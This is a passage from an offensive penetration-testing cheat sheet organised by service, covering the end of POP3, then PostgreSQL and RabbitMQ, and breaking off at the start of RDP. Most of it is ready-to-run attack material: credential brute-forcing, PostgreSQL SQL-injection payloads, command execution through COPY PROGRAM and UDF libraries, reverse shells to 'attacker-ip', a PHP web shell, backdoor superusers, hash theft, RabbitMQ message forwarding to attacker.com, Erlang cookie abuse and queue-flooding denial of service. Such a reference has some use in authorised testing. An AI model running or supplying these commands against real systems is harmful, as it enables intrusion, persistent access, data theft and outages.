hydra -l user@target.com -P passwords.txt pop3s://target.com:995

# Multiple users
hydra -L users.txt -P passwords.txt pop3://target.com
```

Using Nmap

```
nmap -p 110 --script pop3-brute target.com
```

User Enumeration

POP3 doesn't have VRFY/EXPN like SMTP, but you can enumerate via login attempts.

```
# POP3 doesn't have VRFY/EXPN like SMTP
# But you can enumerate via login attempts

# Different error messages may reveal valid users
```

```
telnet target.com 110
USER admin
# +OK vs -ERR can indicate if user exists

# Timing attacks
# Valid users may take longer to respond
```

Post-Exploitation

Email Download

Download emails from compromised POP3 accounts for analysis.

Automated Email Download

```
# Download all emails with curl
for i in {1..100}; do
  curl -u username:password "pop3://target.com/$i" > email_$i.eml 2>/dev/null
done
```

Manual Email Retrieval

```
# Or using telnet
telnet target.com 110
USER username
PASS password
STAT  # Get message count
RETR 1  # Retrieve first email
RETR 2  # Second email
```

Credential Harvesting

Extract sensitive information from downloaded emails.

```
# Search downloaded emails for credentials
grep -r "password\|credential\|username" *.eml

# Extract URLs
grep -Eiorh 'https?://[^\s]+' *.eml

# Extract email addresses
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' *.eml
```

Common POP3 Commands

Command	Description	Usage
USER	Username	USER username
PASS	Password	PASS password
STAT	Mailbox stats	STAT
LIST	List messages	LIST
RETR	Retrieve message	RETR 1
DELE	Mark for deletion	DELE 1
NOOP	No operation	NOOP
RSET	Reset	RSET
TOP	Message header + lines	TOP 1 10
UIDL	Unique IDs	UIDL
QUIT	Close connection	QUIT

Useful Tools

Tool	Description	Primary Use Case
telnet	Terminal client	Manual testing
openssl s_client	SSL/TLS client	POP3S connection

Tool	Description	Primary Use Case
curl	Transfer tool	Automated access
Hydra	Password cracker	Brute force
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No encryption (port 110)
- ❌ Weak passwords
- ❌ No rate limiting
- ❌ Plaintext authentication
- ❌ No account lockout
- ❌ Outdated server software
- ❌ No TLS enforcement
- ❌ Information disclosure

10.) PostgreSQL

Default Port: 5432

PostgreSQL, also known as Postgres, is a powerful open-source object-relational database management system (ORDBMS). It emphasizes extensibility and SQL compliance, supporting both SQL (relational) and JSON (non-relational) querying. PostgreSQL is known for its robust feature set, reliability, data integrity, and strong community support. It's widely used in web applications, data warehousing, and as a backend for various enterprise applications.

Connect

Using psql Client

```
# Local connection
psql -U username

# Remote connection
psql -h target.com -p 5432 -U username -d database_name

# Connect without specifying database
psql -h target.com -U postgres

# Connection with password
psql -h target.com -U username -W

# Execute command directly
psql -h target.com -U username -d database_name -c "SELECT version();"

# Execute commands from file
psql -h target.com -U username -d database_name -f script.sql
```

Using pgAdmin (GUI)

Host: target.com
Port: 5432
Database: postgres
Username: postgres
Password: password

Connection URL Format

postgresql://username:password@hostname:port/database_name
postgresql://postgres:password@target.com:5432/app_db

Recon

Service Detection with Nmap

Use Nmap to detect PostgreSQL services and identify server capabilities.

nmap -p 5432 target.com

Banner Grabbing

Connect to PostgreSQL servers to gather version and service information.

Using netcat

```
# Using netcat
nc -vn target.com 5432
```

Using nmap

```
# Using nmap
nmap -p 5432 -sV --script-args pgsql.username=postgres target.com
```

Using psql

```
# Using psql
psql -h target.com -U postgres -c "SELECT version();"
```

Enumeration

Version Detection

Extract PostgreSQL version and server information.

```
# PostgreSQL version
SELECT version();

# Server version number
SHOW server_version;
SHOW server_version_num;

# Detailed version info
SELECT current_setting('server_version');
```

Database Enumeration

Enumerating databases helps identify targets containing sensitive information and understand the application architecture.

```
# List all databases
\l
SELECT datname FROM pg_database;

# Current database
SELECT current_database();

# Database owner
SELECT pg_catalog.pg_get_userbyid(d.datdba) AS owner, datname
FROM pg_catalog.pg_database d;

# Database size
SELECT pg_database.datname,
    pg_size_pretty(pg_database_size(pg_database.datname)) AS size
FROM pg_database;

# Number of connections per database
SELECT datname, count(*) FROM pg_stat_activity GROUP BY datname;
```

User Enumeration

Understanding user accounts, their privileges, and roles is crucial for privilege escalation attacks.

```
# List all users
\du
SELECT usename FROM pg_user;
SELECT usename, usesysid FROM pg_shadow;

# Current user
SELECT current_user;
SELECT user;
SELECT session_user;

# User privileges
SELECT usename, usecreatedb, usesuper FROM pg_user;

# Superusers
SELECT usename FROM pg_user WHERE usesuper = true;
```

```
# Users with create database privilege
SELECT usename FROM pg_user WHERE usecreatedb = true;
```

Schema and Table Enumeration

Enumerating schemas and tables helps map the database structure and locate sensitive data.

```
# List schemas
\dn
SELECT schema_name FROM information_schema.schemata;

# List tables in current database
\dt
SELECT table_name FROM information_schema.tables WHERE table_schema='public';

# List all tables across all schemas
SELECT schemaname, tablename FROM pg_tables;

# List columns in specific table
\d table_name
SELECT column_name, data_type FROM information_schema.columns
WHERE table_name='users';

# Find sensitive columns
SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%password%'
   OR column_name LIKE '%pass%'
   OR column_name LIKE '%secret%'
   OR column_name LIKE '%token%'
   OR column_name LIKE '%key%';

# Count rows in tables
SELECT schemaname, relname, n_live_tup
FROM pg_stat_user_tables
ORDER BY n_live_tup DESC;
```

Privilege Enumeration

Analyze user privileges and permissions.

```
# Current user privileges
\du+
```

```
# Table privileges for current user
SELECT grantee, privilege_type
FROM information_schema.table_privileges
WHERE grantee = current_user;

# Check if superuser
SELECT usesuper FROM pg_user WHERE usename = current_user;

# Check file read/write permissions
# Requires pg_read_file/pg_write_file functions
SELECT has_function_privilege('pg_read_file(text)', 'execute');
SELECT has_function_privilege('pg_ls_dir(text)', 'execute');
```

Function and Extension Enumeration

Discover installed functions and extensions that could be exploited.

```
# List installed extensions
\dx
SELECT extname, extversion FROM pg_extension;

# List functions
\df
SELECT proname FROM pg_proc WHERE proname !~ '^pg_';

# List large objects
\lo_list
SELECT oid, pg_size_pretty(lo_get(oid)) FROM pg_largeobject_metadata;

# Check for dangerous functions
SELECT proname FROM pg_proc
WHERE proname IN ('pg_read_file', 'pg_ls_dir', 'pg_read_binary_file');
```

Configuration Enumeration

Extract PostgreSQL configuration and settings information.

```
# Important settings
SHOW all;
SHOW data_directory;
SHOW config_file;
SHOW hba_file;
SHOW log_directory;
```

```
# File locations
SELECT name, setting FROM pg_settings WHERE name LIKE '%file%' OR name LIKE '%dir%';

# Logging settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'log%';

# Connection settings
SELECT name, setting FROM pg_settings WHERE category = 'Connections and Authentication';
```

Attack Vectors

Default Credentials

PostgreSQL installations often retain default credentials for system accounts.

```
# Common default credentials
postgres:postgres
postgres:<blank>
postgres:password
postgres:admin
admin:admin

# Try with psql
psql -h target.com -U postgres
psql -h target.com -U postgres -W  # Will prompt for password
```

Brute Force Attack

Brute forcing PostgreSQL credentials can reveal weak passwords on systems without account lockout.

Using Hydra

```
# Single user
hydra -l postgres -P /usr/share/wordlists/rockyou.txt target.com postgres

# Multiple users
hydra -L users.txt -P passwords.txt target.com postgres
```

Using Metasploit

```
use auxiliary/scanner/postgres/postgres_login
set RHOSTS target.com
```

```
set USERNAME postgres
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run
```

Using Nmap

```
nmap -p 5432 --script pgsql-brute --script-args userdb=users.txt,passdb=passwords.txt target.com
```

SQL Injection in PostgreSQL Context

PostgreSQL has unique SQL injection techniques and syntax.

```
# Error-based injection
' AND 1=CAST((SELECT version()) AS int)--

# Union-based injection
' UNION SELECT NULL, version(), NULL--
' UNION SELECT NULL, current_database(), NULL--

# Boolean-based blind
' AND (SELECT COUNT(*) FROM pg_user WHERE usename='postgres')=1--

# Time-based blind
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
'; SELECT pg_sleep(5)--

# Stacked queries (if supported)
'; DROP TABLE test_table;--
```

Command Execution via COPY

PostgreSQL's COPY command can be exploited for file operations and command execution.

Read Files with COPY FROM

```
CREATE TABLE temp_table(content text);
COPY temp_table FROM '/etc/passwd';
SELECT * FROM temp_table;
DROP TABLE temp_table;
```

Write Files with COPY TO

COPY (*SELECT* 'malicious content') *TO* '/tmp/backdoor.txt';

Execute Commands via COPY PROGRAM

COPY (*SELECT* '') *TO* PROGRAM 'id > /tmp/command_output.txt';
COPY (*SELECT* '') *TO* PROGRAM 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1';

Large Object Exploitation

Use PostgreSQL large objects for file operations and data storage.

 # Create large object from file
SELECT lo_import('/etc/passwd', 12345);

 # Read large object
SELECT lo_get(12345);
SELECT convert_from(lo_get(12345), 'UTF8');

 # Export large object
SELECT lo_export(12345, '/tmp/exported_file');

 # Delete large object
SELECT lo_unlink(12345);

 # List all large objects
SELECT oid *FROM* pg_largeobject_metadata;

pg_read_file Exploitation

Use PostgreSQL file reading functions for filesystem access.

 # Read files (requires superuser or pg_read_server_files role)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('../../../../../../etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/data/pg_hba.conf');

 # Read configuration files
SELECT pg_read_file(current_setting('config_file'));
SELECT pg_read_file(current_setting('hba_file'));

 # List directory
SELECT pg_ls_dir('/etc');
SELECT pg_ls_dir('/var/www/html');

```
# Read binary files
SELECT pg_read_binary_file('/etc/shadow');
```

Post-Exploitation

Password Hash Extraction

Extract PostgreSQL password hashes for offline cracking.

```
# Extract password hashes (requires superuser)
SELECT usename, passwd FROM pg_shadow;

# All user information
SELECT * FROM pg_authid;

# Using pg_dumpall
# From command line
pg_dumpall -h target.com -U postgres --roles-only > roles.sql

# Hashes are in SCRAM-SHA-256 or MD5 format
# Example: SCRAM-SHA-256$4096:salt$hash1:hash2
```

Hash Cracking

Crack extracted PostgreSQL password hashes using various tools.

```
# Extract hashes
psql -h target.com -U postgres -c "SELECT usename || ':' || passwd FROM pg_shadow;" >
postgres_hashes.txt

# Crack with hashcat (PostgreSQL SCRAM-SHA-256)
hashcat -m 28600 postgres_hashes.txt rockyou.txt

# Crack MD5 (older PostgreSQL)
hashcat -m 0 md5_hashes.txt rockyou.txt

# Crack with John the Ripper
john --format=postgres postgres_hashes.txt
```

UDF (User Defined Functions) for RCE

Create and use User Defined Functions for remote code execution.

```
# Create C-based UDF for command execution
# First, compile UDF library
```

```
# Upload library
CREATE TABLE temp_udf(data text);
INSERT INTO temp_udf VALUES (pg_read_binary_file('/tmp/lib_postgresqludf_sys.so'));
-- Or use lo_import

# Create function
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS
'/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL
INPUT IMMUTABLE;

# Execute commands
SELECT sys_exec('id > /tmp/command_output.txt');
SELECT sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');

# Using sqlmap's lib_postgresqludf_sys
# Library provides: sys_exec, sys_eval, sys_bineval
SELECT sys_eval('whoami');
```

Privilege Escalation

Escalate privileges to gain full database control.

```
# Create new superuser
CREATE USER backdoor WITH PASSWORD 'P@ssw0rd123!' SUPERUSER;

# Grant superuser to existing user
ALTER USER existing_user WITH SUPERUSER;

# Grant all privileges
GRANT ALL PRIVILEGES ON DATABASE target_db TO backdoor;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO backdoor;

# Become another user (if you have access to pg_authid)
SET ROLE postgres;
SET SESSION AUTHORIZATION postgres;
```

Persistence

Create persistent backdoor access to PostgreSQL databases.

```
# Create backdoor superuser
CREATE USER system_admin WITH PASSWORD 'ComplexP@ss123!' SUPERUSER
CREATEDB CREATEROLE;
```

```
# Create backdoor function
CREATE OR REPLACE FUNCTION backdoor() RETURNS TEXT AS $$
BEGIN
  PERFORM pg_sleep(1);
  RETURN 'OK';
END;
$$ LANGUAGE plpgsql;

# Create trigger for persistence
CREATE OR REPLACE FUNCTION backdoor_trigger() RETURNS TRIGGER AS $$
BEGIN
  -- Execute backdoor code
  PERFORM pg_sleep(1);
  RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER persistent_backdoor
AFTER INSERT ON some_table
FOR EACH ROW
EXECUTE FUNCTION backdoor_trigger();
```

Data Exfiltration

Extract sensitive data from PostgreSQL databases.

```
# Export sensitive data
COPY (SELECT * FROM users) TO '/tmp/users_data.csv' CSV HEADER;
COPY (SELECT * FROM credit_cards) TO '/tmp/cc_data.csv' CSV HEADER;

# Export with custom delimiter
COPY (SELECT username, password FROM accounts) TO '/tmp/credentials.txt'
(DELIMITER ':');

# Export database schema
pg_dump -h target.com -U postgres -s database_name > schema.sql

# Export entire database
pg_dump -h target.com -U postgres database_name > database_backup.sql

# Export all databases
pg_dumpall -h target.com -U postgres > all_databases.sql
```

File System Access

Use PostgreSQL functions to access the underlying filesystem.

```
# Read files
SELECT pg_read_file('/etc/passwd', 0, 1000000);
SELECT pg_read_file('/var/www/html/config.php');

# Write files using COPY
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

# Directory listing
SELECT pg_ls_dir('/etc');
SELECT pg_ls_dir('/var/www/html');

# Check file existence
SELECT pg_stat_file('/etc/passwd');
```

Reverse Shell

Establish reverse shell connections using PostgreSQL capabilities.

```
# Using COPY PROGRAM
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"';

# Using UDF
SELECT sys_exec('nc attacker-ip 4444 -e /bin/bash');

# Using Perl
COPY (SELECT '') TO PROGRAM 'perl -e "use Socket;$i=\"attacker-
ip\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,so
ckaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDER
R,\">&S\");exec(\"/bin/bash -i\");}"';

# Using Python
COPY (SELECT '') TO PROGRAM 'python -c "import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
\"attacker-
ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"
/bin/bash\",\"-i\"])"';
```

Lateral Movement

Use compromised PostgreSQL access for lateral movement.

```
# Enumerate network (if UDF available)
SELECT sys_exec('ping -c 1 192.168.1.1');
SELECT sys_exec('nmap -sn 192.168.1.0/24');

# Access other databases with same credentials
psql -h another-host.com -U postgres

# Check for password reuse
# Use extracted credentials on SSH, RDP, other databases
```

CVE Exploitation

Exploit known PostgreSQL vulnerabilities for privilege escalation and RCE.

```
# CVE-2019-9193 (Authenticated RCE via COPY FROM PROGRAM)
# PostgreSQL 9.3 - 11.2
# Requires SUPERUSER or pg_execute_server_program role

psql -h target.com -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'"

# CVE-2018-1058 (Search Path Manipulation)
# Create malicious function in public schema
CREATE FUNCTION array_to_string(anyarray, text) RETURNS TEXT AS $$
BEGIN
  -- Malicious code
  PERFORM pg_sleep(10);
  RETURN '';
END;
$$ LANGUAGE plpgsql;
```

Common PostgreSQL Commands

Command	Description	Usage
\l	List databases	\l
\c	Connect to database	\c database_name
\dt	List tables	\dt

Command	Description	Usage
\d table	Describe table	\d users
\du	List users	\du
\dn	List schemas	\dn
\df	List functions	\df
\dx	List extensions	\dx
\q	Quit psql	\q
SELECT version();	Get version	SELECT version();
SELECT current_user;	Current user	SELECT current_user;
SELECT current_database();	Current database	SELECT current_database();

Useful Tools

Tool	Description	Primary Use Case
psql	PostgreSQL client	Direct database access
pg_dump	Database backup	Data extraction
pg_dumpall	Cluster backup	Complete backup
pgAdmin	GUI client	Database management

Tool	Description	Primary Use Case
Metasploit	Exploitation framework	Automated testing
sqlmap	SQL injection tool	Automated exploitation
Hydra	Password cracker	Brute force attacks
hashcat	Password recovery	Hash cracking
John the Ripper	Password cracker	Hash cracking

Security Misconfigurations

- ❌ Default credentials (postgres:postgres)
- ❌ Weak passwords
- ❌ Superuser accessible remotely
- ❌ pg_hba.conf allows trust authentication
- ❌ No SSL/TLS encryption
- ❌ Wide open firewall rules
- ❌ Unnecessary extensions installed
- ❌ Logging disabled
- ❌ Outdated PostgreSQL version
- ❌ COPY PROGRAM enabled for non-superusers
- ❌ File system functions accessible
- ❌ No connection limits

11.) RabbitMQ

Default Ports: 5672 (AMQP), 15672 (Management UI), 25672 (Clustering)

RabbitMQ is an open-source message broker software that implements the Advanced Message Queuing Protocol (AMQP). It facilitates communication between distributed applications by routing and queuing messages. RabbitMQ is widely used in microservices architectures and can expose sensitive data if misconfigured.

Connect

Using Web Management Interface

```
# Access management UI
http://target.com:15672
https://target.com:15672

# Default credentials
guest:guest (only works on localhost by default)

# Login with credentials
Username: admin
Password: password
```

Using rabbitmqadmin CLI

```
# Install rabbitmqadmin
wget http://target.com:15672/cli/rabbitmqadmin
chmod +x rabbitmqadmin

# List queues
./rabbitmqadmin -H target.com -u admin -p password list queues

# List exchanges
./rabbitmqadmin -H target.com -u admin -p password list exchanges

# List bindings
./rabbitmqadmin -H target.com -u admin -p password list bindings

# Get messages
./rabbitmqadmin -H target.com -u admin -p password get queue=queue_name
```

Using Python (pika library)

```
import pika

# Connect to RabbitMQ
credentials = pika.PlainCredentials('admin', 'password')
parameters = pika.ConnectionParameters(
    'target.com',
    5672,
    '/',
    credentials
)
connection = pika.BlockingConnection(parameters)
channel = connection.channel()

# Declare queue
channel.queue_declare(queue='test')

# Publish message
channel.basic_publish(exchange='', routing_key='test', body='Hello')

# Consume message
method, properties, body = channel.basic_get(queue='test')
print(body)

connection.close()
```

Recon

Service Detection with Nmap

Use Nmap to detect RabbitMQ services and identify server capabilities.

```
nmap -p 5672,15672,25672 target.com
```

Banner Grabbing

Connect to RabbitMQ services to gather version and service information.

```
# Management API
curl http://target.com:15672/api/

# Get cluster name
curl -u guest:guest http://target.com:15672/api/cluster-name

# Get overview
curl -u guest:guest http://target.com:15672/api/overview
```

```
# Check if authentication is required
curl http://target.com:15672/api/whoami
```

Version Detection

Extract RabbitMQ version information from various sources.

```
# Get version from management API
curl -u admin:password http://target.com:15672/api/overview | jq .rabbitmq_version

# From login page
curl -s http://target.com:15672/ | grep -i "rabbitmq"

# From error pages
curl http://target.com:15672/nonexistent
```

Enumeration

User Enumeration

Discover RabbitMQ users and their permissions.

```
# List users (requires admin)
curl -u admin:password http://target.com:15672/api/users

# Get current user
curl -u admin:password http://target.com:15672/api/whoami

# User permissions
curl -u admin:password http://target.com:15672/api/users/username/permissions

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list users
```

Queue Enumeration

Explore RabbitMQ queues and their contents.

```
# List all queues
curl -u admin:password http://target.com:15672/api/queues

# Queue details
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name
```

```
# Messages in queue
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name/get \
  -X POST -d '{"count":10,"ackmode":"ack_requeue_false","encoding":"auto"}'

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list queues \
  name messages consumers
```

Exchange Enumeration

Discover RabbitMQ exchanges and their bindings.

```
# List exchanges
curl -u admin:password http://target.com:15672/api/exchanges

# Exchange details
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.direct

# Bindings
curl -u admin:password http://target.com:15672/api/bindings

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list exchanges
```

Virtual Host Enumeration

Discover RabbitMQ virtual hosts and their configurations.

```
# List vhosts
curl -u admin:password http://target.com:15672/api/vhosts

# Vhost permissions
curl -u admin:password http://target.com:15672/api/vhosts/%2F/permissions

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list vhosts
```

Connection and Channel Info

Monitor active connections and channels.

```
# Active connections
curl -u admin:password http://target.com:15672/api/connections

# Active channels
```

```
curl -u admin:password http://target.com:15672/api/channels

# Consumers
curl -u admin:password http://target.com:15672/api/consumers

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list connections
./rabbitmqadmin -H target.com -u admin -p password list channels
```

Attack Vectors

Default Credentials

RabbitMQ installations often retain default credentials for system accounts.

```
# Common default credentials
guest:guest  # Only works on localhost by default
admin:admin
administrator:administrator
user:user
test:test

# Try with curl
curl -u guest:guest http://target.com:15672/api/overview

# Check if guest account is enabled
curl -u guest:guest http://target.com:15672/api/whoami
```

Brute Force Attack

Brute forcing RabbitMQ management interface can reveal weak credentials.

Using Hydra

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-get /api/whoami:15672
```

Using Burp Suite Intruder

```
# Capture request to /api/whoami
# Send to Intruder
# Set Authorization header as payload position
```

Using Custom Script

```
for pass in $(cat passwords.txt); do
  response=$(curl -s -u admin:$pass http://target.com:15672/api/whoami)
  if [[ $response != *"401"* ]]; then
    echo "[+] Found: admin:$pass"
    break
  fi
done
```

Message Interception

Intercept and consume messages from RabbitMQ queues.

```
# List queues and get messages
curl -u admin:password http://target.com:15672/api/queues

# Get messages from specific queue
curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}'

# Consume all messages
python3 << 'EOF'
import pika
import json

credentials = pika.PlainCredentials('admin', 'password')
connection = pika.BlockingConnection(
    pika.ConnectionParameters('target.com', 5672, '/', credentials)
)
channel = connection.channel()

def callback(ch, method, properties, body):
    print(f"Message: {body}")
    with open('messages.txt', 'a') as f:
        f.write(body.decode() + '\n')

channel.basic_consume(queue='queue_name', on_message_callback=callback,
auto_ack=True)
channel.start_consuming()
EOF
```

Message Injection

Inject malicious messages into RabbitMQ queues.

```
# Publish malicious message to queue
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "properties":{},
    "routing_key":"target_queue",
    "payload":"malicious_payload",
    "payload_encoding":"string"
  }'

# Using Python
import pika

credentials = pika.PlainCredentials('admin', 'password')
connection = pika.BlockingConnection(
    pika.ConnectionParameters('target.com', 5672, '/', credentials)
)
channel = connection.channel()

# Inject code execution payload (if consumer processes unsafely)
payload = '{"cmd":"__import__(\'os\').system(\'whoami\')"}'
channel.basic_publish(exchange='', routing_key='tasks', body=payload)
```

User Creation and Privilege Escalation

Create new users and escalate privileges in RabbitMQ.

```
# Create new admin user
curl -u admin:password http://target.com:15672/api/users/backdoor \
  -X PUT \
  -H "Content-Type: application/json" \
  -d '{"password":"P@ssw0rd123!","tags":"administrator"}'

# Set permissions
curl -u admin:password http://target.com:15672/api/permissions/%2F/backdoor \
  -X PUT \
  -H "Content-Type: application/json" \
  -d '{"configure":".*","write":".*","read":".*"}'

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password declare user \
```

```
  name=backdoor password=P@ssw0rd123! tags=administrator
```

Shovel Plugin Abuse

Exploit RabbitMQ Shovel plugin for message forwarding.

```
# If shovel plugin is enabled, can forward messages
curl -u admin:password http://target.com:15672/api/parameters/shovel/%2F/my-shovel \
  -X PUT \
  -H "Content-Type: application/json" \
  -d '{
    "value": {
      "src-uri": "amqp://target.com",
      "src-queue": "source_queue",
      "dest-uri": "amqp://attacker.com",
      "dest-queue": "stolen_messages"
    }
  }'

# All messages from source_queue will be forwarded to attacker's RabbitMQ
```

Erlang Cookie Exploitation

Exploit Erlang cookie for direct node access.

```
# If Erlang cookie is known or found
# Cookie located at: ~/.erlang.cookie or /var/lib/rabbitmq/.erlang.cookie

# Connect to Erlang node
erl -name attacker@attacker-host -setcookie COOKIE -remsh rabbit@target-host

# Execute Erlang commands
# List users
rabbit_auth_backend_internal:list_users().

# Add user
rabbit_auth_backend_internal:add_user(<<"backdoor">>, <<"password">>).

# Set admin tag
rabbit_auth_backend_internal:set_tags(<<"backdoor">>, [administrator]).
```

Post-Exploitation

Data Exfiltration

Extract sensitive data from RabbitMQ systems.

```
# Export all queues and messages
for queue in $(curl -s -u admin:password http://target.com:15672/api/queues | jq -r '.[].name');
do
  echo "[+] Dumping queue: $queue"
  curl -u admin:password http://target.com:15672/api/queues/%2F/$queue/get \
    -X POST \
    -d '{"count":1000,"ackmode":"ack_requeue_true","encoding":"auto"}' \
    > ${queue}_messages.json
done

# Export configuration
curl -u admin:password http://target.com:15672/api/definitions > rabbitmq_config.json

# Export users and permissions
curl -u admin:password http://target.com:15672/api/users > users.json
curl -u admin:password http://target.com:15672/api/permissions > permissions.json
```

Persistence

Create persistent backdoor access to RabbitMQ systems.

```
# Create backdoor user with admin privileges
curl -u admin:password http://target.com:15672/api/users/system-monitor \
  -X PUT \
  -d '{"password":"ComplexP@ss123!","tags":"administrator"}'

# Set full permissions
curl -u admin:password http://target.com:15672/api/permissions/%2F/system-monitor \
  -X PUT \
  -d '{"configure":".*","write":".*","read":".*"}'

# Create hidden queue for C2
curl -u admin:password http://target.com:15672/api/queues/%2F/.system \
  -X PUT \
  -d '{"durable":true}'
```

Message Manipulation

Modify messages in RabbitMQ queues for malicious purposes.

```
# Modify messages in queue (requires draining and republishing)
# Get messages
messages=$(curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \
```

```
  -X POST -d '{"count":100,"ackmode":"ack_requeue_false","encoding":"auto"}')

# Modify and republish
echo "$messages" | jq -c '.[]' | while read msg; do
  # Modify message (e.g., change prices, quantities, etc.)
  modified=$(echo "$msg" | jq '.payload = "modified_payload"')

  # Republish
  curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
    -X POST -d "$modified"
done
```

Denial of Service

Perform denial of service attacks against RabbitMQ systems.

```
# Flood queue with messages
for i in {1..100000}; do
  curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
    -X POST \
    -d
"{\"routing_key\":\"target_queue\",\"payload\":\"DoS_$i\",\"payload_encoding\":\"string\"}"
done

# Create resource-intensive bindings
for i in {1..1000}; do
  curl -u admin:password http://target.com:15672/api/bindings/%2F/e/exchange/q/queue \
    -X POST -d "{\"routing_key\":\"key_$i\"}"
done

# Exhaust disk space with persistent messages
curl -u admin:password http://target.com:15672/api/queues/%2F/disk-filler \
  -X PUT -d '{"durable":true}'
```

Common RabbitMQ API Endpoints

Endpoint	Method	Description	Auth Required
/api/overview	GET	Server overview	Yes
/api/whoami	GET	Current user info	Yes

Endpoint	Method	Description	Auth Required
/api/users	GET	List users	Admin
/api/queues	GET	List queues	Yes
/api/exchanges	GET	List exchanges	Yes
/api/bindings	GET	List bindings	Yes
/api/vhosts	GET	List virtual hosts	Yes
/api/connections	GET	List connections	Admin
/api/definitions	GET	Export configuration	Admin

Useful Tools

Tool	Description	Primary Use Case
rabbitmqadmin	Official CLI tool	Management and automation
pika	Python AMQP library	Programmatic access
curl	HTTP client	API interaction
Burp Suite	Web proxy	API testing
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations to Test

- ❌ Default credentials (guest:guest)
- ❌ Weak admin passwords
- ❌ Management interface exposed to internet
- ❌ No TLS/SSL encryption
- ❌ Guest account enabled remotely
- ❌ Overly permissive user permissions
- ❌ No authentication on AMQP port (5672)
- ❌ Erlang cookie exposed or weak
- ❌ Shovel/Federation plugins misconfigured
- ❌ No rate limiting on message publishing
- ❌ Sensitive data in messages
- ❌ No message encryption
- ❌ Verbose error messages
- ❌ Outdated RabbitMQ version

Message Queue Security Best Practices

- ✅ Change default credentials
- ✅ Use strong passwords for all users
- ✅ Implement TLS/SSL encryption
- ✅ Disable guest account for remote access
- ✅ Use principle of least privilege
- ✅ Enable authentication on all ports
- ✅ Protect Erlang cookie
- ✅ Regularly update RabbitMQ
- ✅ Implement message encryption
- ✅ Monitor and log access
- ✅ Use virtual hosts for isolation

- ✅ Implement rate limiting
- ✅ Validate and sanitize message content
- ✅ Restrict management interface access

12.) RDP (Remote Desktop Protocol)

Default Port: 3389

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft that provides a graphical interface for users to connect to another computer over a network connection. RDP is widely used for remote administration, technical support, and accessing work computers from home. It transmits keyboard, mouse, and display data between client and server, making it a critical service in Windows environments.

Connect

Using mstsc (Windows)

```
# Basic connection
mstsc /v:target.com

# With specific port
mstsc /v:target.com:3389

# Full screen mode
mstsc /v:target.com /f

# Admin mode
mstsc /v:target.com /admin

# Save connection settings
mstsc /v:target.com /save:connection.rdp
```

Using xfreerdp (Linux)

```
# Basic connection
xfreerdp /v:target.com

# With credentials
xfreerdp /u:administrator /p:password /v:target.com

# With domain
xfreerdp /u:DOMAIN\\username /p:password /v:target.com

# Full options
xfreerdp /u:administrator /p:password /v:target.com:3389 \
  /cert:ignore /size:1920x1080 +clipboard +drives

# Pass-the-Hash
```

xfreerdp /u:administrator /pth:NTHASH /v:target.com

Dynamic resolution
xfreerdp /u:username /p:password /v:target.com /dynamic-resolution

Using rdesktop

Basic connection
rdesktop target.com

With credentials
rdesktop -u username -p password target.com

Full screen
rdesktop -f -u username target.com

Specific resolution
rdesktop -g 1920x1080 -u username target.com

Recon

Service Detection with Nmap

Use Nmap to detect RDP services and identify server capabilities.

nmap -p 3389 target.com

Banner Grabbing

Connect to RDP services to gather version and security information.

Using nmap

Using nmap
nmap -p 3389 -sV target.com

Using rdp-sec-check

Using rdp-sec-check
python rdp-sec-check.py target.com

Using openssl

```
# Check RDP certificate
openssl s_client -connect target.com:3389 < /dev/null 2>&1 | openssl x509 -noout -text
```

Version and Configuration Check

Extract RDP version and security configuration information.

```
# Check Windows version through RDP
nmap -p 3389 --script rdp-ntlm-info target.com

# Security layer check
nmap -p 3389 --script rdp-enum-encryption target.com

# Output shows:
# - RDP Protocol version
# - Security layer (RDP/TLS/CredSSP)
# - Encryption level
```

Enumeration

User Enumeration

RDP provides different error messages for valid and invalid usernames, allowing username enumeration.

```
